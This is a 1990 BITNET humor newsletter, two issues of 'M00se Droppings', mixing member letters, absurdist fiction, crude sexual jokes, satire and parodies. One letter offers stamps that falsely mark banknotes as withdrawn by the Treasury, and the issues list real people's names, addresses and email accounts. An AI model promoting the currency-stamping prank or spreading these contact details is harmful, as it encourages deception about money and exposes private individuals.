} Was Manuel Noriega any fun when he was a kid?
} If diamonds tasted like chocolate, would people actually eat them?
} Why don't acoustic guitars have wa-wa sticks?
} Whatever happened to the manned Mars mission Bush promised us?
} Why do smokers think they have the right to litter the world with
} cigarette butts?
} Why are places that are open 24 hours have locks on the doors?
} Why does the lighter flame drop to an unusable height every time you try
} to do a bong load?
}
} Just to get you started.
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
Maybe next decade..... :-)
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
Will be sent under separate cover, as this issue is quite large already,
(And I don't have it yet from Darkling M00se! :) )
--------------------------------------------------------------------------------
-- Christmas Issue and Last Issue of the 1980's! Wow, eh? Pretty hefty stuff! --
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/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
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DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #37| Disclaimer: The Editors will place almost anything in |Jan 27, 1990
---------- this newsletter out of a frantic desire to fill the --------------
issue, so don't blame them for the quality or content of the submissions. Except
-ing those they may have written themselves, the enclosed items do not in any
way represent the Editors' fnord opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
************************************* STAFF ************************************
--------------------------------------------------------------------------------
Editor - Patrick Salsbury <V291NHTP@UBVMS.BITNET>
Submissions to: DangerM00se <V291NHTP@UBVMS.BITNET>
Back issue requests: Max Handelsman <MHANDELS@DREW.BITNET>
and Johnathan Clemens <FSJPC@ALASKA.BITNET>
or <FSJPC@ACAD3.FAI.ALASKA.EDU>
AND Joanne Rosenshein <JROSENSH@SBCCVM.BITNET>
IF you've written your letter home already,
AND your younger brother is going out in the company of
another boy this weekend,
But you're NOT getting a haircut,
THEN move your clothes to the lower peg. Simple, no? :)
M00se List updates and changes: Herschm00se the Beanmeister
<JMP91@GENESEO.BITNET>
(This space to let): Contact WarM00se <V291NHTP@UBVMS.BITNET>
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Hi there!
Happy New Decade, and all that rot!
Sorry this is late in getting out, but I've been busy with the first
week of classes. (I know, some of you have been in school for 3 weeks, but do
you know what I have to say about that? PPPPPPHHHHHHHFFFFFFFFFFFFTTTTTTTT!!!!!
You should have gone to Buffalo! ;^)
Not much else to say, here.
Enjoy! Welcome back! And send in submissions! :)
-Pat/DangerM00se
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Bl00p!
Hello to all my fellow members..
Thought I'd write and tell you all how fnording happy I am to be a member!
Oh yes, I have some questions for all you m00ses out there.
Wh0 should I consider asking to become a m00se?
Need they be M00sy, or is lunacy a adequate substitute?
I only ask because I am wondering about several people I know..
I also wonder (for security reasons) about asking others, who might not be as
sympathetic to M00se ideals..I myself am completely in agreement with M00se
ideas, ideals, morals, and other such nonsensical items. I think. Well, maybe.
Does it really matter? Does anything really matter? Why are we here? What's
it all about? Is the meaning of life really 42?
Can any M00ses out there help me? I am lost in the infinite m00se space.
So you see, I really am lost. What do I do?
Can anyone help?! If so, please send a check or money order to me,
to:
The Hungarian M00se
Box W1198 Wheaton College
Norton, MA. 02766
Please try to help, send whatever you can..
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
I wish to address in this text a certain matter that came up in a Relay
conversation with a fellow M00se one very early, groggy morning. Perhaps,
spake he, we would be able to further the interests of the M00se Illuminati by
appointing Honorary Membership. In a sudden rush of eager interest and
adrenalin that toppled my late-late nightcap of Dr. Pepper and Vivarin from its
resting place atop my stereo, I quickly tapped out a reply on my ages-old
keyboard and volunteered to take up the job. It would certainly merit some
amount of feverish effort, as there must be quite a few people who exist who
deserve recognition for M00seworthy accomplishments, we agreed.
And so, Brethren of the M00se Illuminati, I come to you. Perhaps you know of
someone, celebrity or not, from the media, music industry, literary circle,
lunchtime crowd, silver screen, family tree, etc. etc. who you feel deserves to
be awarded a title of Honorary M00sedom for Exemplary Behaviour or Achievements
Characteristic of the Ideals and Interests of the M00se Illuminati.
Garry Trudeau. Max Headroom. Frank Zappa. Mr. Rogers. Mojo Nixon. Uncle
Lewis. Anybody.
Send ye the name of any ONE proposed Honorary M00se to me, Ice Lord, care of
DICRESCE@CTSTATEU, with the reason or m00selike-contribution to their field of
speciality you attribute to this M00se-to-be, and maybe a line or two of
healthy eulogism, and I shall compile a list of the Honorary M00ses to present
in an upcoming edition of M00se Droppings.
<bl00p>
Ice Lord
DICRESCE@CTSTATEU
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Hello everybody. Contrary to what some people say ("The decade doesn't change
until '91, nyah nyah!"), the Nineties are here. And it's going to have to be
the Decade of Something. It could be the Cyberpunk Decade; it could be the
Kinder, Gentler Decade. Or, heaven help us all, it could be the Decade of the
Martin.
I have an idea. An idea that's been oozing around in my brain for a while now.
I'd like to know what you think.
Let's make this the Decade of the M00se.
Really. I mean it. Let's make the M00se Illuminati a real, legitimate
organization with official records, membership lists, etc. No dues yet, unless
maybe we assign an initial cost to begin membership, to cover the cost of ID
cards or something like that.
Most importantly, though, a Snail Mail newsletter -- something akin to M00se
Droppings (but not replacing it, or the fine alternative publication M00se
Drool), but printed on -paper- and mailed directly to your own home via third-
class bulk mail permits.
Who knows? What could we have in the future? A lobbyist in Washington?
Voting power? CIA spies in our midst? M00se Illuminati agents in the CIA?
This would most definitely outdo the Martins for good. The Martins, by the
way, declared themselves the victors in the M00se/Martin War of a year or so
ago through an amendment in their constitution. Let's prove them wrong.
What I want is any ideas you can think of about this proposal -- whether or not
it's a good idea at all, how much you think you'd be willing to pay for initial
membership and/or the newsletter, ideas to name the newsletter, and so on. I'd
also like some information -- how many m00ses are you aware of at your
university (or just around somewhere) who do *not* have Bitnet access, but who
would be interested in the ideas I've mentioned? I'm trying to get some idea
of how big we *really* are.
Please mail said comments directly to me (Pickle) at DICKSON@HARTFORD.BITNET.
And let's make this decade one they won't be able to talk about without
picturing antlers.
Pickle
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
Greetings,
I just got as a present for the holidays a Air Brush. SalmonM00se and
I have been working out a M00se T-shirt so if we come up with something I'll
let you know. (That is of course if you are interested :-)
Adieu
- Goblin
BTW: About a MTAT How about holding it in May and having it at a State Forest?
(Or perhaps in even warmer weather later in May)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
We now have a NEW person in the sacred position of Royal Keeper of the
List. Her real name is Jenine Pittenger, and she's a brand new (official) m00se!
You can see her address and stuff in the masthead (The part at the top of the
newsletter that you all skip over every time because you think you've read it
before, so you don't notice that I change it every time. ;^) )
She is taking over for Darkling/I-Man Negus M00se, who succumbed to the
urge to go out and earn money. (Geez! The thing some people will do just to EAT
these days! I don't know.....)
Please direct all future list changes to her.
Welcome aboard, Jenine! :)
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
I finally got my Mom an account! :) She's going to be getting M.D. on a
regular basis, now! (Gee, think we should...uh...y'know...tone it down a bit?)
NAAAAAAAAAAAAAAH! :)
Her name is Emilie Manning, and her account is CHILDS@OSWEGO.OSWEGO.EDU
and she LOOOOOOVES to get mail! (That's a hint! :) See, she's just learning how
to use the system, and I think she needs to be swamped with new mail/friends!)
So send her something. Say hi! Ask her what it's like to be the mother
of DangerM00se/Patrick G. Salsbury (Super Genius)! Blame HER for me being the
way I am! ;^)
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
I think the M00se List at UMNEWS consumed itself. What say we get a
Listserv set up, and get a PROPER m00se discussion set up? Or a M00se discussion
group on the NEWS system in UNIX? (We just got that installed here at UB, it's
NICE! We could link the listserv and the NEWSgroup, so if you weren't able to
access NEWS, you could still participate easily.
What say?
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Yo dude, and bl00pski....
I seem to recall in a not so distant issue of M00se Dr0ppings, that
someone mentioned the pandemonium of getting a rubber stamp together
that said something to the effect of:
THIS BILL HAS BEEN RECLAIMED BY THE U.S.
TREASURY DEPT. FOR DESTRUCTION. DO NOT
HONOR. IT IS NO LONGER LEGAL TENDER.
And then going around stamping all the $$$ we could lay our hands on.
Feeding $1 bills into change machines, and then getting more bills for
the change, stamping them, and feeding them in, ad infinitum. Well,
one of the questions raised was "Where can we get them?" My fellow
m00ses, that question has been answered. I now work for the Cole Key
Company, in the Maine Mall, in South Portland. One of my jobs is key
carving, and another is the fashioning of rubber stamps. Right there
in the store. I've already made a template, and I'm going to cook my
first prototype soon. If successful, I will gladly make copies for
any and all m00ses interested in this wonderfully heinous mischief.
However, I will have to charge the base price for the stamp and the
mounting, which is $5 + tax, and there will be some postage involved
too. But that is so little, compared to the amount of chaos we can
cause, don'tcha think??? Please forward any and all requests to me,
Mitya the Red M00se, and please include a mailing address. I will
acknowledge, and request payment sent first, since I have to pay for
them when I make them. Fair 'nuf? Good. Happy government toppling to
everyone, and bl00pski!!!!
Mitya the Red M00se,
IP85033@PORTLAND.BITNET
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
I just purchased a copy of "The Illuminati Papers" by Robert Anton
Wilson. It's GREAT! I'll be posting things from it here in the future.
Also, I just got a catalog yesterday, which has two audio tapes in it by
Robert Anton Wilson. One is "Religion For The Hell Of It" and the other is "The
Acceleration Of Knowledge: The Jumping Jesus Phenomenon" I'm probably going to
get them.
They have lots of other tapes, too. Interesting stuff!
The catalog is from SoundsTrue, and if you want one, call:
1-800-835-2246 Ext. 275
-Pat
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
Stella returns.....
So Stella and I were sitting at the dining room table, having a
nice chat. That is, I was having a nice chat - she was stirring her coffee.
This was rather distracting, as she was stirring it with a live chameleon, but
I suppose it *was* the most effective method of getting the last of the arsenic
to dissolve. It likes to stay at the bottom in this slushy mass. You know
what I mean.
So I asked Stella how she managed to get down from over the mantel-
piece. She replied by quoting the Virginia Beach phone directory,
Dzierzanowska through Ellenbogen, then popping out her glass eye and tossing
it into the coffee mug. In case you're wondering, it's violet. The eye, I
mean. Her real one's olive drab,so the glass one really compliments the
color.
So anyhow, I never did find out how she got down in the short week I
was gone. I noticed that the apple was gone from her nose, though. Maybe
that had something to do with it. Since the conversation was going nowhere,
I picked up the newspaper and began to read the more credible articles to her.
There was one in particular that caught my eye...hers too, when the chameleon
tried to escape by pitching the glass eye at the paper and squirming violently.
It was very effective. The article, I mean. The chameleon ended up back in the
mug, upside-down. It didn't struggle much after that.
The article was about something that happened in my home town while I
was there on my visit. Seems that Jed Cummins was out slopping the hogs one
evening when he saw some bright lights in the sky, seeming to head for the East
Podunk Town Hall. He got on the horn to the police chief, who mildly suggested
that he lay off the corn husk cigars for a while. Jed wasn't so easily put off
though, and he jumped into his Chevy 4X4 and high-tailed it into town. Right
after he pulled up in front of the Town Hall, a huge glowing egg materialized
out of a cloudbank and settled down onto the roof of the New Podunk Theatre
(erected in 1939). When he was asked later how he reacted at that point, Jed
replied, "Wal, shoot! I ain't never gonna get them stains out'n the
upholstery."
After it came to rest, the giant egg split open and ramps extended down
to street level. Then, according to eyewitnesses (Jed and a wino in the alley
behind the theater), roughly 85,000 aliens marched out clutching blast guns
and cans of Right Guard (tm). They pointed the guns at Jed and ordered him not
to interfere, then they all sprayed the Right Guard into the air at once.
After that they trooped back into the egg and took off. According to
this newspaper (wonderful, the quality of journalism you can find at the
checkout counter!), the sudden concentrated release of fluorocarbons into the
atmosphere has ripped a huge hole in the ozone layer, which extends over much
of the eastern seaboard. As a result, anyone living here will either die of
cancer in thirty years or will mutate into higher life forms. Stella's already
a mutant, so she doesn't have to worry. As for me, I'm going to go live in
Finland and eat irradiated reindeer meat, so I'm not worried either. Got to
build up a resistance to that sort of thing.
Just to show that good things also happen in East Podunk, the other
major effect of the alien invasion is that no one in the whole county will
ever have body odor ever again. See - and cancer's not all that bad.
"I feel like a swim," Stella said after I'd finished the article.
Whereupon, she dove into the coffee mug and commenced to do the backstroke.
What a kidder. Then she climbed out, dried herself off on the curtains, and
picked her teeth with the chameleon. I really must teach that girl some
manners - imagine picking your teeth in public. Ah well.
Enjoy,
L0relei
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
From The Hungarian M00se <LGREEN@WHEATNMA>
CIVIL SERVICE EXAM
"STATE WORKER"- (ALL LEVELS)
Name:
Score:
INSTRUCTIONS:
Study each question carefully. Then, choose the answer that seems most correct
("True" or "False") and mark an "X" (just like you sign your name) in the
appropiate space at the right.
TRUE / FALSE
1. A clitoris is a type of flower. ___
2. Pubic hair is a wild rabbit. ___
3. "Spread Eagle" is an extinct bird. ___
4. Vagina is a medical term used to describe heart trouble. ___
5. A menstrual cycle has three (3) wheels. ___
6. A "G" string is part of a violin. ___
7. Semen is another term for "sailors". ___
8. Anus is the Latin word for "yearly". ___
9. Testicles are found on an octopus. ___
10. Asphalt describes rectal troubles. ___
11. Masturbate is used to catch large fish. ___
12. KOTEX is a radio station in Bryan, Texas . ___
13. Coitus is a musical instrument. ___
14. Fetus is a character on "Gunsmoke". ___
15. An umbilical cord is part of a parachute. ___
16. A condom is an apartment complex. ___
17. An orgasm is the person who accompanies the choir in a
church. ___
18. A diaphragm is a drawing in geometry. ___
19. A dildo is a variety of sweet pickle. ___
20. An erection is when the Japanese vote for their new
government officials. ___
21. A lesbian is a person from the Middle East. ___
22. Sodomy is a special kind of fast-growing grass. ___
23. Pornography is the business of making record albums. ___
24. Genitals are people of non-Jewish origins. ___
25. Douche is the Italian word for "twelve". ___
26. An enema is someone who is not your friend. ___
27. Ovaries are a French egg dish make with cheese. ___
28. Scrotum is a small planet near Uranus. ___
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
DO WHAT THOU WILT SHALL BE THE WHOLE OF THE LAW
It has recently come to my attention that rock-n-roll has filthy
lyrics dangerous to the moral developments of young Americans. E.g.:
Hush, now, b*by, b*by, don't you cry
m*ther's gonna make all of your nightmares come true
m*ther won't let anyone dirty you
m*ther's gonna keep you right here unde her wing
she won't let you fly, but she might let you sing
m*ther's gonna keep b*by healthy and clean....
That's right, even Pink Floyd contributes to the myth that humans are
viviparous animals breeding at random, and that the loftiest pinnacle of
human enlightenment, SOCIAL STRUCTURE, is founded in the mire of ....ahem,
CERTAIN unprintable biological relations, congresses, and (ahem) intercourses
between (gasp) human reproductive systems.
Obviously, concerned m00ses, it is in your best interest to see that
all references to s...e...x are removed from the Library of Congress and all
their other squalid hiding places over the globe, and BURNED! Yes, and
while we're at it we can burn a few witches!
OK, now that such rock-and-rubbish is covered, we must interdict all
DRUGS! We all know that DRUGS are bad for you and have no purposes other
converting sweet Norman ROckwell models into ravening leather-and-Spandex
swathed sexually florid bass players. Just like Geddy Lee. We know drugs
are bad. Ronald and Nancy told us so, and Ronald and Nancy would never,
ever distort the facts for their personal gain. Politicians simply don't DO
things like that in America. Politicians, policemen, and defenders of mental
and moral hygiene NEVER act to increase their privileges or tighten the grip
of the ruling minority on the common citizen at the expense of Constitutional
rights!
Note to Reagan Youth: Use Secret Decoder Rings to translate this
month/s BITNET pogrom update. Any personnel not reporting to duty with
at least one fresh human scalp and a clean armband will be shot.
Yes, we have to interdict ALL DRUGS from this fair country, and
relax with the healthy, nonviolent, sanity-conducive measures of caffeine,
alcohol, and nicotine. Except everyone over forty years of age and $50,000
of income, who are entitled to prescription sleeping pills to commit
suicide with.
LOVE IS THE LAW, LOVE UNDER WILL.
ps: All flag-burners will be summarily convicted of High Treason,
and sent to the Allentown Correctional Facility for Incineration. Anyone
who posts a message with the word ""BONG"" in it will be brainwashed and
subjected to phone-tapping, for their own protection, just as soon as we
can get the police dogs off their throats.
Patriotically Yours ---
Ubersturmfuhrer Danforth Quayle, S.S.
V126HN32@UBVMS.BITNET
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
Chapter Name : Andrew Winden
Nickname : Mathm00se
Life Form : Usually human, (very scary in the morning)
Sex : Male, but I like to have it as often as possible
Net Address : AW7383@BROCK1P Purity Quotient: __~45%
Description : Very close to humanoid, but not close enough
to have a birth certificate.
Favorite Saying: All I want is <.. anything applicable here ..>
'my alarm clock to work'
'some Kool-Aid left'
etc....
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Chapter Name : Phil DeGrandis
Nickname : StangM00se
Life Form : Definitely not human
Sex : Hopefully as soon as possible. :-)
Net Address : PD6662@BROCK1P Purity Quotient __~63
Description : Big, soft, and loud like a m00se should be.
Favorite Saying: Lets take my car --or-- I hate it when people
open their doors into my car.
bl00p BL00P BL000000P DAMMIT!
fry_m00se
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
I was told by saM@UAFSYSB who at the time was on relay as Spamalope although I
believe his name is Sam Huntsman to write you concerning a new chapter of M00SE
Illuminati I wish to form. I believe I am qualified to be a member.. I have
read much of the suggested reading, seen all of Monty Python's films, and
besides that, I am willing to do almost anything to get recognized as a
chapter, including stealing, cheating, lying, murder, arson, pillage, rape (so
I'm good at lying), and all other sorts of MEAN AND NASTY VICIOUS THINGS!!!!!
So anyways, thank for your time, and if this is the wrong person to write to,
just tell me so I can search down that spamalope pouf and shoot him..
Thank you and good night.
Lyman Green Jr.
Box W1198 Wheaton College
Norton, Massachusetts
02766
Bitnet:lgreen@wheatnma
Now officially known as: The Llama on relay, and my new nick for the chapter
is The Hungarian M00se.
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
Will be sent along under seperate cover, as it's pretty long, and we're
getting the whole thing updated by Herschm00se the Beanmeister. :) I'll send it
along as soon as I get it.
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D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #38| Disclaimer: The Editors will place almost anything in |Feb 19, 1990
---------- this newsletter out of a frantic desire to fill the --------------
issue, so don't blame them for the quality or content of the submissions. Except
-ing those they may have written themselves, the enclosed items do not in any
way represent the Editors' fnord opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
************************************* STAFF ************************************
--------------------------------------------------------------------------------
Editor - Patrick Salsbury <V291NHTP@UBVMS.BITNET>
Submissions to: DangerM00se <V291NHTP@UBVMS.BITNET>
Back issue requests: Max Handelsman <MHANDELS@DREW.BITNET>
and Johnathan Clemens <FSJPC@ALASKA.BITNET>
or <FSJPC@ACAD3.FAI.ALASKA.EDU>
AND Joanne Rosenshein <JROSENSH@SBCCVM.BITNET>
M00se List updates and changes: Herschm00se the Beanmeister
<JMP91@GENESEO.BITNET>
(This space to let): Contact WarM00se <V291NHTP@UBVMS.BITNET>
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
It's late. I know. I'm sorry. I got real busy. I'll try not to let it
happen again. But right now, I'm retyping this, as the &*%@^#(*$%@#(^&$%()@#
computer just ditched about 1/2 hour of work on me, and I'm really quite
terribly upset about THE WHOLE @#^$(&*@#%^($*#!-ing thing! :)
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: GreyFoxM00se
My sister was 0nce byt by a m00se.
N0, Realli. She was carving her initials in the m00se with the sharpened end of
an interspace t00thbrush given to her by her brother in law -- a dentist.
Mind you, m00se bytes can be nasti...
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
From: Rescue M00se <STJS@MARIST.BITNET>
I thought that this group would like to know of an important
discovery made at the National Research Council (NRC)
in Canada.
<> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <>
NEW ELEMENT DISCOVERED
AT NRC RESEARCH CENTRE
(Reprinted from CRESS Bulletin, York University, Jan 24. 1990)
The heaviest element known to science was recently discovered by physicists at
the NRC Research Centre. The element, tentatively named Administratium, has no
protons, 125 assistant neutrons, 75 vice neutrons and 111 assistant vice
neutrons. This gives it an atomic mass of 312. These 312 particles are held
together in a nucleus by a force that involves the continuous exchange of a
meson like particles called morons.
Since it has no electrons, Administratium is inert. However, it can be
detected chemically as it impedes every reaction it comes in contact with.
According to the discoverers, a minute amount of Administratium caused one
reaction to take over four days to complete, when it would normally occur in
less than one second.
Administratium has a normal half life of approximately 3 years, at which time
it does not actually decay, but instead, undergoes a reorganization in which
assistant neutrons, vice neutrons and assistant vice neutrons exchange places.
Some studies have shown that the atomic weight actually increases after each
reorganization.
Research at other laboratories indicates that Administratium occurs naturally
in the atmosphere. It tends to concentrate at certain points such as
government agencies, large corporations, universities, and NRC and can actually
be found in the newest, best maintained buildings.
Scientists point out that Administratium is known to be toxic at any level of
concentration and can easily destroy any productive reactions where it is
allowed to accumulate. Attempts are being made to determine how Administratium
can be controlled to prevent irreversible damage, but results to date are not
promising.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
This space available. Contact WarM00se. <V291NHTP@UBVMS.BITNET>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Description: I had an interesting idea the other day....
In order to streamline the legal system, and get stupid old laws off the books,
and key law in with the changing social mores, I came up with a few ideas that
would make things run much better in this country. Let me know what you think.
1) Make every law expire 10 years after it is enacted. All OLD laws
expire 10 years after we start this program. If the law is still a valid social
concern, then it can be re-enacted. (Politicians LOVE to legislate, anyway, but
this keeps laws like "no horses in saloons" from cluttering up the books....)
2) No "piggy-backing" of bills. You make ****1**** law at a time. No
tacking of something like "all homos are to be shot" on page 86 of a traffic
law about "right turn on red."
3) Recall vote on all people in office. If someone pisses us off, we
don't have to wait up to 4 years to vote them out of office. That way we can't
forget about what they did. (As is so often the case.....)
What do you think?
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Hey!
I just read the TIME MASTERS comic book (Issue #1), and it's pretty
funky! It's all about this guy, Rip Hunter, who is going to form a group of
time-travellers to battle....
THE ILLUMINATI!
(Fnord.)
Check it out, the series is just starting, and it looks pretty good!
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
*NEWS BL00P!* *NEWS BL00P!* *NEWS BL00P* What a fnord!
As the official Director of Emergency Medical Medicine and Fire Prevention
for the International M00se Illuminati (self proclaimed of course *smile*) I
hereby take a firm stance against the practices of arson and assault. M00ses
unite to whip out this bad feature we portray. What if a M00se was caught and
convicted????!!!!! Look at the allegations that would be brought upon our whole
organization! We can accomplish our goals in a much safer and caring way without
the use of these tactics. FNORD!
Remember, RESCUE M00se is here to help you. Need help?
Give him a call: STJS@MARIST
He goes by RESCUE-1 (yes...the relay op!) on the outside....
but he's really....RESCUE M00se!!!! Protector of M00ses!
BL00P!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Keep those submissions coming in! :)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NORIEGA `COCAINE' REALLY TAMALES
WASHINGTON (AP) -- The U.S. military now says 50 pounds of a substance
it seized at a house used by deposed Panamanian leader Manuel Antonio Noriega
turned out to be tamales instead of cocaine as the Army initially said, The
Washington Post reported today.
On Dec. 22, Col. Mike Snell, commander of a U.S. infantry task force,
told reporters his troops had found 50 pounds of cocaine in a house frequented
by Noriega, some of it wrapped in banana leaves inside a freezer. "We're sure
it was cocaine," Snell was quoted as saying.
However, the Post said officials in the Army's Criminal Investigation
Division have concluded the contents of the banana leaves were actually
tamales.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Fnord.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[Submitted by: V067LUFD@UBVMS (Ruprecht)]
Did you know?
EVERY TIME A LOAF OF BREAD
IS BAKED,
APPROXIMATELY
150,000,000 YEASTS ARE
KILLED.
____________________________________________________________________________
Come to the award-winning 1987 film,
"The Very Small and Quiet Screams"
-- a cinematic electromicrograph of yeasts being baked.
"A must for those who care about yeast, and especially for those who don't."
____________________________________________________________________________
+------------------------------------+
| Evening showing in Johnson & Wales |
| Pirsig Auditorium: 7PM, 4/19 |
+------------------------------------+
============================================================================
SPONSORED BY
Brown Anaerobe Rights Coalition (BARC)
Student Bakers for Social Responsibility
Coalition for the ELevation of Life (CELL)
Campus Crusade for Fetal Matters
============================================================================
Defend all life: 'from greatest to least, from human to yeast!"
This poster printed on 100% yeast-free paper.
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
From: GreyFoxM00se
BORED TREK: THE NEXT-TO-LAST-DE-GENERATION. (we hope.)
Captains Log: Stardate: Today! This is the Q acting on behalf of Captian
Jean-Luc Picard who is at this very moment on the holodeck trying to have
sex with the image of a woman that Commader Riker programmed in on the episode
with the Binars.
Let's join them, shall we? This should be fun.
PICARD: So, mon chou, where are you from? (This is a frail attempt by the
Captain to "chat her up.")
IMAGE: You ought to know skinhead, you activated the images here on the
holodeck.
PICARD: Hmm. I thought that the image Riker created was not such an irate
personality. Perhaps I didn't break his code properly.
IMAGE: You mean you, the Captain of a Starfleet vessel, broke into the
access file of another commanding officer?
PICARD: Well, I wouldn't call it that, just that as a Captain, I get so
lonely sometimes.... (sigh!)
IMAGE: What about the Q? Couldn't he be your butt-slamming buddy?
PICARD: The Q??!! How dare you insinuate such a thing! He siezed my vessel--!
Q: (Unknown to Picard and Image but nonetheless onstage) Seized my vessel!
Siezed my vessel! Is that all that Galactic cutie--ah-- skinhead cares about?
PICARD: I heard that shit Q! Did you think that stupid parenthetical reference
could hide your lovely--ah-- ridiculous presence from me?!
IMAGE: I think I know what the problem is here, guys. You're really attracted
to each other, but neither of you would admit it. Q here has just been trying
to get your attention beacuse he's got a crush on you. You big thillys!
PICARD: Preposterous! I am not by any means a homosexual! And don't you
try to seize my vessel Q!
Q: Oh, cut the crap Picard-baby. Let's just go "do the nasty."
PICARD: Well...
Enter RIKER with Leiutennant Commander Data.
DATA: Sir, I am detecting the presence of the Q.
RIKER: You're right, Data. There he is, with... the Captain?
DATA: Sir, I am unable to comprehend. What I see occuring is usually expected
between the male and female of your species, much less the Captain whose
species I cannot identify save for "skinhead" and a mega-entity such as the Q.
RIKER: Data, just shuttup. Here, smoke this joint, and forget you saw anthing
here.
DATA: But sir, I am an android, I cannot forget.
RIKER: If you don't forget, I am going to reprogram you with a very large
axe, got that?
DATA: (Visiby shaken, for an android, anyway.) Yes sir.
PICARD: OOOOH! AAaaaaaahhhhhhhhhh!
Q: Vreet! Whoop!~(*%(*^)(!!!!!!!!!!!!! <<<< FLASH!!!!! >>>>
RIKER: (to image) Alright, now that we're alone, assume the missionary
position!
IMAGE: Not again...
-------------------------------------------------------------------------------
Narrator: Is Captain Picard really a homosexual? Or is he under the
all-powerful influence of the Q? Does Riker really get it on with a hologram?
Did Data really smoke that joint? And where is Wesley during all of this?
WESLEY: I'm getting it on with Counselor Troy, of course. She's got great
tits. I'm probably the only straight one on board this ship.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Thought you'd like to know another theory of the origins of haggis. :-)
It's by Monty Python.
Much to his Mum and Dad's dismay,
Horace ate himself one day.
He didn't stop to say his grace.
He just sat down and ate his face.
"We can't have this," his dad declared.
"If that lad's ate, he should be shared!"
But even as he spoke, they saw
Horace eating more and more.
First his legs and then his thighs;
His hair, his arms, his nose, his eyes.
"Stop him, someone!" Mother cried,
"Those eyeballs would be better fried!"
But all too late, for they were gone,
And he had started on his dong.
"Oh foolish child, " his father mourned,
"We could have deep-fried that with prawns,
"Some parsley, and some tartar sauce."
But H. was on his second course.
His liver and his lights and lung,
His ear, his neck, his chin, his tongue.
"To think we raised him from the cot,
"And now he's going to scoff the lot!"
His mother cried, "What shall we do?
"What's left won't even make a stew!"
And as she wept, her son was seen
To eat his head, his heart, his spleen.
And there he lay, a boy no more,
Just a stomach on the floor.
Nonetheless, since it was his,
They ate it. That's what haggis is.
- Monty Python
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[Submitted (unknowingly) by our newest m00se! Welcome to the Weirdness, S.! (I
don't know your first name.) See how easy it is to get published once you have
the all-powerful M00se Illuminati on your side? ;^) ]
How would you like a bowl of Snoopy
Stirred until it's thick and soupy?
Dog in a bowl
With a poppyseed roll.
Dig it?
Sure you do.
S. McDonald
<MCDONALD@HARTFORD>
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
NEWS REPORT 29
25 May 1989
IBM ANNOUNCES EXTENDED MOUSE SUPPORT
The following is a direct, word-for-word reproduction of a recent IBM
'Service support' announcement. (Honest!)
ESD PRODUCT SERVICE SUPPORT
SUBJECT: NEW RETAIN TIP
Record number: H013944
Device: D/T8550
Model: M
Hit Count: UHC00000
Success count: USC0000
Publication Code: PC50
(H)elp, More? Tip key: 025
Date created: 089/02/14
Date last altered: 089/02/15
Owing B.U.: USA
Abstract: MOUSE BALLS NOW AVAILABLE AS FRU
Mouse balls are now available as a Field Replacement Unit (FRU). If a mouse
